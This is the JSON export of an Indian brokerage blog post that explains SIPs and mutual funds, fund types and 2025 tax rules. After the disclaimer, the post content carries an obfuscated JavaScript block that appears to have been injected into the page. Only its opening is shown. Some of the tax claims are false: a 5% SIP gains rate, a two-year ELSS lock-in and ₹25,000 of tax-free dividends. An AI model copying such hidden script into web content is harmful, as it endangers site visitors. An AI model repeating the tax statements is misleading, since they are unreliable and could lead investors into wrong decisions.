{"id":13392,"date":"2025-07-15T08:21:36","date_gmt":"2025-07-15T08:21:36","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=13392"},"modified":"2025-07-15T08:21:37","modified_gmt":"2025-07-15T08:21:37","slug":"difference-between-sip-and-mutual-fund","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/","title":{"rendered":"Still Don\u2019t Know the Difference Between SIP and Mutual Fund? Let\u2019s Learn"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#What_is_a_Mutual_Fund\" >What is a Mutual Fund?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#Types_of_Mutual_Funds_in_India\" >Types of Mutual Funds in India<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#What_is_a_SIP\" >What is a SIP?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#Types_of_SIP_in_India\" >Types of SIP in India<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#SIP_vs_Mutual_Fund_Key_Differences\" >SIP vs Mutual Fund: Key Differences<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#Benefits_of_SIP_in_Mutual_Funds\" >Benefits of SIP in Mutual Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#New_Mutual_Fund_Tax_Rules_in_2025\" >New Mutual Fund Tax Rules in 2025<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#1_Equity_Mutual_Funds_SIPs\" >1. Equity Mutual Funds &amp; SIPs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#2_Debt_and_Hybrid_Mutual_Funds\" >2. Debt and Hybrid Mutual Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#3_ELSS_%E2%80%93_Tax-Saving_Mutual_Funds\" >3. ELSS \u2013 Tax-Saving Mutual Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#4_Dividend_Income_and_ITR_Filing_Changes\" >4. Dividend Income and ITR Filing Changes<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#Final_Word_SIP_is_Your_Companion_Mutual_Fund_is_Your_Vehicle\" >Final Word: SIP is Your Companion, Mutual Fund is Your Vehicle<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/#SIP_vs_Mutual_Fund-_FAQs\" >SIP vs Mutual Fund- FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Still Don\u2019t Know the Difference Between SIP and Mutual Fund? Let\u2019s Learn<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You hear it everywhere now. During office parties, kitty parties, get-togethers or even on family WhatsApp groups:\u201cBas yaar, SIP chal raha hai har mahine 2000 ka.\u201d When people say, \u201cI invest in SIP,\u201d what do they actually mean? The idea of investing through SIP has become common, and rightly so. More individuals today are gaining financial awareness and taking active steps toward managing their money better. They are exploring options beyond traditional savings accounts, which is a positive shift. But here&#8217;s a common misconception: SIP, or Systematic Investment Plan, is not an investment in itself. It&#8217;s simply a method, a way to invest regularly, often monthly. The actual investment being made is into a mutual fund. So, while SIP is the route, the mutual fund is the destination. What is the real difference between SIP and mutual funds?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s learn!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-is-a-mutual-fund\"><span class=\"ez-toc-section\" id=\"What_is_a_Mutual_Fund\"><\/span>What is a Mutual Fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A mutual fund is a pool of money. This pool is created when thousands of people like you, your neighbour, your cousin in Bangalore, and your school friend in Delhi all invest money into the same fund.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That money is then managed by a professional fund manager who invests it in stocks, bonds, or commodities, depending on the type of mutual fund. You get units of that fund, just like shares, based on the amount you invest and the day\u2019s NAV (Net Asset Value).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mutual funds are ideal for people who don\u2019t have the time or knowledge to pick individual stocks but still want to benefit from the market. You don\u2019t control where the money goes, but you benefit from the shared outcome. That\u2019s how a mutual fund works.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/?utm_source=blog&amp;utm_medium=organic&amp;utm_campaign=cta\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Now, invest in stocks, bonds, mutual funds, commodities and more with a free demat account!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"1-types-of-mutual-funds-in-india\"><span class=\"ez-toc-section\" id=\"Types_of_Mutual_Funds_in_India\"><\/span>Types of Mutual Funds in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">There are different types of mutual funds to suit different financial goals.&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Equity Mutual Funds<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">These primarily invest in the stock market. They are best for long-term wealth creation and are suitable if you&#8217;re okay with short-term ups and downs.<br><\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Debt Mutual Funds<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">These invest in bonds, government securities, and other fixed-income instruments. Lower risk, stable returns. Such MFs are ideal for short-term goals or risk-averse investors.<br><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Hybrid Mutual Funds<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">These invest in both equity and debt, and thus, you get a balance of growth and stability. Suitable for new investors seeking diversification.<br><\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>ELSS (Equity Linked Savings Scheme)<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Tax-saving mutual funds under Section 80C and have a lock-in of 3 years and offer equity-like returns.<br><br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-what-is-a-sip\"><span class=\"ez-toc-section\" id=\"What_is_a_SIP\"><\/span>What is a SIP?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SIP stands for Systematic Investment Plan. It is simply a way of putting money into a mutual fund at regular intervals. Instead of investing \u20b960,000 in one go, you invest \u20b95,000 per month over 12 months. That money is automatically debited from your bank account and goes into your chosen mutual fund.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s like doing a monthly TataSky recharge. SIP is the most popular route for salaried professionals and beginners in India because it&#8217;s affordable, automated, and builds good financial habits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Imagine choosing between:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A \u20b91,999 yearly recharge<\/li>\n\n\n\n<li>Or a \u20b9199 per month plan<br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Both give you calling, data, and SMS. But one is a lump sum, the other is diversified and simple.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That\u2019s exactly the difference between lump sum and SIP in mutual funds.<br><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-types-of-sip-in-india\"><span class=\"ez-toc-section\" id=\"Types_of_SIP_in_India\"><\/span>Types of SIP in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Just like mutual funds have categories, SIPs have formats too:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Regular SIP- <\/strong>Fixed amount every month. The most common and widely used.<br><\/li>\n\n\n\n<li><strong>Step-up SIP- <\/strong>You start with \u20b92,000 and increase it every year, say by \u20b9500. Helps you match your rising income.<br><\/li>\n\n\n\n<li><strong>Flexible SIP- <\/strong>You can change your SIP amount based on your financial situation that month. No penalty for adjusting.<br><\/li>\n\n\n\n<li><strong>Trigger SIP- <\/strong>You can link your SIP to an event like NAV reaching a specific level or market correction.<br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Whether it\u2019s sip mutual funds for a beginner or an experienced investor, these formats offer flexibility and discipline. When people search for the best mutual fund for SIP, they\u2019re usually looking in these categories based on their needs and risk tolerance.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"743\" height=\"1024\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund-743x1024.jpg\" alt=\"SIP vs Mutual Fund\" class=\"wp-image-13404\" style=\"width:752px;height:auto\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund-743x1024.jpg 743w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund-218x300.jpg 218w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund-768x1059.jpg 768w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund-1114x1536.jpg 1114w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/SIP-vs-Mutual-Fund.jpg 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><figcaption class=\"wp-element-caption\">SIP vs Mutual Fund<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-sip-vs-mutual-fund-key-differences\"><span class=\"ez-toc-section\" id=\"SIP_vs_Mutual_Fund_Key_Differences\"><\/span>SIP vs Mutual Fund: Key Differences<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Many people ask, &#8220;is SIP and mutual fund same?&#8221;<br>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The answer is no.. Here\u2019s the real difference between a mutual fund and an SIP:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Basis<\/strong><\/td><td><strong>Mutual Fund<\/strong><\/td><td><strong>SIP<\/strong><\/td><\/tr><tr><td>What it is<\/td><td>The investment product<\/td><td>The method of investing in that product<\/td><\/tr><tr><td>Investment style<\/td><td>One-time (lump sum) or recurring<\/td><td>Recurring (usually monthly)<\/td><\/tr><tr><td>Control over timing<\/td><td>You choose when and how much to invest<\/td><td>Fixed schedule; market timing is not required<\/td><\/tr><tr><td>Ideal for<\/td><td>Investors with large sums or good market knowledge<\/td><td>Beginners, salaried individuals, and long-term investors<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s say you just got your bonus: \u20b960,000. You can:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option 1<\/strong>: Invest the full \u20b960,000 in a mutual fund today. That\u2019s a <strong>lump sum investment<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option 2<\/strong>: Start a <strong>mutual fund SIP<\/strong> of \u20b95,000\/month in the same fund over 12 months.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, let\u2019s assume the stock market fluctuates over the year. With SIP:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In months when the market is down, you get more units.<\/li>\n\n\n\n<li>In months when it\u2019s up, you get fewer units.<br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This averages out your cost and reduces the risk of investing at the wrong time. That\u2019s why so many Indians prefer SIP mutual fund plans over one-time investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Now, which Mutual Fund Is Best for SIP?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There\u2019s no single answer to this. But based on popularity and past performance, you have to do proper research before choosing the MF you wish to invest in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-benefits-of-sip-in-mutual-funds-\"><span class=\"ez-toc-section\" id=\"Benefits_of_SIP_in_Mutual_Funds\"><\/span><strong>Benefits of SIP in Mutual Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">1. Budget-Friendly<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You can start investing with just \u20b9500\/month. For a college student or first-time earner, this is manageable and non-intimidating.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. No Need to Time the Market<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Even top investors struggle with perfect timing. SIP removes that pressure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Builds Habit<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Just like your rent or EMI, SIPs instil a savings habit that compounds over time.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. Rupee Cost Averaging<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This automatically adjusts your buying price over market cycles, smoothing out volatility.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Power of Compounding<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u20b92,000\/month invested for 15 years at 12% returns = \u20b910.5 lakh. That is how it works!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-new-mutual-fund-tax-rules-in-2025\"><span class=\"ez-toc-section\" id=\"New_Mutual_Fund_Tax_Rules_in_2025\"><\/span>New Mutual Fund Tax Rules in 2025<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Understand the real difference between SIPs and mutual funds based on how they are taxed now.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-1-equity-mutual-funds-amp-sips\"><span class=\"ez-toc-section\" id=\"1_Equity_Mutual_Funds_SIPs\"><\/span>1. Equity Mutual Funds &amp; SIPs<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you sell your equity mutual fund units or SIP investments within 12 months, the gains are considered short-term and taxed at 20%. This has increased from the earlier rate of 15%.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you hold your investment for more than a year, it qualifies for long-term capital gains. In that case:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You don\u2019t pay any tax on the first \u20b91.25 lakh of gains in a financial year<\/li>\n\n\n\n<li>Any gains above that are taxed at 12.5%<br><br>If you invest in equity mutual funds through SIPs and your total gains over the year are up to \u20b93 lakh, you now pay only 5% tax on those gains. This is a big saving for long-term SIP investors. If your gains go beyond \u20b93 lakh, you\u2019ll be taxed at the standard 12.5% rate on the extra amount.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-2-debt-and-hybrid-mutual-funds\"><span class=\"ez-toc-section\" id=\"2_Debt_and_Hybrid_Mutual_Funds\"><\/span>2. Debt and Hybrid Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Hybrid Funds (mix of equity and debt)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If your hybrid mutual fund has 35% to 65% equity, the taxation depends on how long you hold it.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If you sell it within 2 years, gains are taxed as per your income tax slab<\/li>\n\n\n\n<li>If held for more than 2 years, gains are taxed at 12.5%<\/li>\n\n\n\n<li>Note: For investments made after April 1, 2023, indexation benefits (which reduce taxable gains) are no longer available<br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Debt Funds (less than 35% equity)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Debt mutual funds are now treated like fixed deposits when it comes to tax.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No matter how long you hold them, gains are taxed as short-term<\/li>\n\n\n\n<li>The entire gain is added to your income and taxed as per your slab<\/li>\n\n\n\n<li>This rule applies to all debt mutual fund units bought after April 1, 2023<br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">So, for salaried individuals in the 20% or 30% bracket, debt funds can be less tax-efficient unless used carefully.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-3-elss-%E2%80%93-tax-saving-mutual-funds\"><span class=\"ez-toc-section\" id=\"3_ELSS_%E2%80%93_Tax-Saving_Mutual_Funds\"><\/span>3. ELSS \u2013 Tax-Saving Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Equity Linked Savings Schemes (ELSS) are mutual funds that give you tax benefits under Section 80C.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You can invest up to \u20b91.5 lakh per year and claim that amount as a deduction from your taxable income<\/li>\n\n\n\n<li>Earlier, ELSS had a 3-year lock-in period<\/li>\n\n\n\n<li>From 2025, the lock-in is reduced to 2 years, making it more flexible<\/li>\n\n\n\n<li>After this lock-in, gains are treated like equity mutual funds:<br>\n<ul class=\"wp-block-list\">\n<li>No tax on gains up to \u20b91.25 lakh<\/li>\n\n\n\n<li>12.5% tax on anything above that<br><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This makes ELSS a great option for salaried individuals.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-4-dividend-income-and-itr-filing-changes\"><span class=\"ez-toc-section\" id=\"4_Dividend_Income_and_ITR_Filing_Changes\"><\/span>4. Dividend Income and ITR Filing Changes<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">From 2025, if you earn dividends from mutual funds, you don\u2019t need to pay tax on amounts up to \u20b925,000 per year. This is a benefit for investors who prefer income-generating funds.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, when you file your Income Tax Return (ITR), you\u2019ll need to:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Report short-term and long-term capital gains separately<\/li>\n\n\n\n<li>Clearly mention whether you\u2019re filing under the old tax regime or the new one<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-final-word-sip-is-your-companion-mutual-fund-is-your-vehicle\"><span class=\"ez-toc-section\" id=\"Final_Word_SIP_is_Your_Companion_Mutual_Fund_is_Your_Vehicle\"><\/span>Final Word: SIP is Your Companion, Mutual Fund is Your Vehicle<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you\u2019re a working professional earning \u20b960,000 a month\u2026<br>If you&#8217;re a small business owner with irregular income\u2026<br>If you&#8217;re planning for your child\u2019s education 10 years later\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SIP can be your starting point.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">And mutual funds? They\u2019re the destination you pick. It could be equity for high growth, debt for safety, and a hybrid for balance. Just like you can take a train, bus, or cab to a destination, SIP is just the way to reach your goal.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Want to Start a SIP?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>At Shoonya, we make investing simple.<\/em><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Zero commission on mutual funds<\/em><\/li>\n\n\n\n<li><em>Track everything in one place<\/em><em><br><\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><em><a href=\"https:\/\/shoonya.com\/blog\/what-is-sip-and-how-it-works\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Start Your SIP Now<\/mark><\/a><\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-sip-vs-mutual-fund-faqs\"><span class=\"ez-toc-section\" id=\"SIP_vs_Mutual_Fund-_FAQs\"><\/span>SIP vs Mutual Fund- FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1752498269409\"><strong class=\"schema-faq-question\"><strong>1. What is SIP in a mutual fund?<\/strong><\/strong> <p class=\"schema-faq-answer\">It\u2019s a way to invest fixed amounts regularly, monthly or quarterly, into a mutual fund scheme. You don\u2019t have to time the market.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1752498270177\"><strong class=\"schema-faq-question\"><strong>2. Is SIP and mutual fund the same?<\/strong><\/strong> <p class=\"schema-faq-answer\">No. A mutual fund is the actual investment product. SIP is just a way to invest in it.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1752498293720\"><strong class=\"schema-faq-question\"><strong>3. Which is better, a SIP or a mutual fund?<\/strong><\/strong> <p class=\"schema-faq-answer\">SIP is a method to invest, while a mutual fund is the actual investment. One isn&#8217;t better than the other; they work together depending on how and when you want to invest.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1752498294432\"><strong class=\"schema-faq-question\"><strong>4. What is a 5000 per month SIP for 10 years?<\/strong><\/strong> <p class=\"schema-faq-answer\">A \u20b95,000 monthly SIP for 10 years means you\u2019ll invest around \u20b96 lakh in total. If your mutual fund gives around 12% returns annually, it could grow to over \u20b911.5\u201312 lakh, depending on market performance.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1752498320466\"><strong class=\"schema-faq-question\"><strong>5. How much is 1 lakh in SIP?<\/strong><\/strong> <p class=\"schema-faq-answer\">If you invest \u20b91 lakh through SIPs over time, its future value depends on the monthly amount, duration, and market returns. For example, \u20b92,000\/month for 4 years (\u20b996,000) could grow to \u20b91.3\u20131.4 lakh at 12% annual return.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\"><strong>Disclaimer<\/strong><\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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During office parties, kitty parties, get-togethers or even on family WhatsApp groups:\u201cBas yaar, SIP chal raha hai har mahine 2000 ka.\u201d When people say, \u201cI invest in SIP,\u201d what do they actually mean? The idea of investing through SIP has become common, and rightly so. More individuals today are gaining &hellip; <a href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Still Don\u2019t Know the Difference Between SIP and Mutual Fund? Let\u2019s Learn&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":13403,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[8009,8015,8008,8016,8013,656,8014,8012,8011,8010],"class_list":["post-13392","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-best-mutual-fund-for-sip","tag-difference-between-mutual-fund-and-sip","tag-difference-between-sip-and-mutual-fund","tag-is-sip-and-mutual-fund-same","tag-mutual-funds-sip","tag-sip-mutual-fund","tag-sip-mutual-funds","tag-sip-vs-mutual-fund","tag-what-is-sip-in-mutual-fund","tag-which-mutual-fund-is-best-for-sip"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What\u2019s the Actual Difference Between SIP and Mutual Fund?<\/title>\n<meta name=\"description\" content=\"Many new investors mix up SIP and a mutual fund. This article explains the real difference between SIP and a mutual fund with simple examples.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What\u2019s the Actual Difference Between SIP and Mutual Fund?\" \/>\n<meta property=\"og:description\" content=\"Many new investors mix up SIP and a mutual fund. This article explains the real difference between SIP and a mutual fund with simple examples.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/difference-between-sip-and-mutual-fund\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-15T08:21:36+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-07-15T08:21:37+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/07\/MF-or-Sip.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"What\u2019s the Actual Difference Between SIP and Mutual Fund?\" \/>\n<meta name=\"twitter:description\" content=\"Many new investors mix up SIP and a mutual fund. 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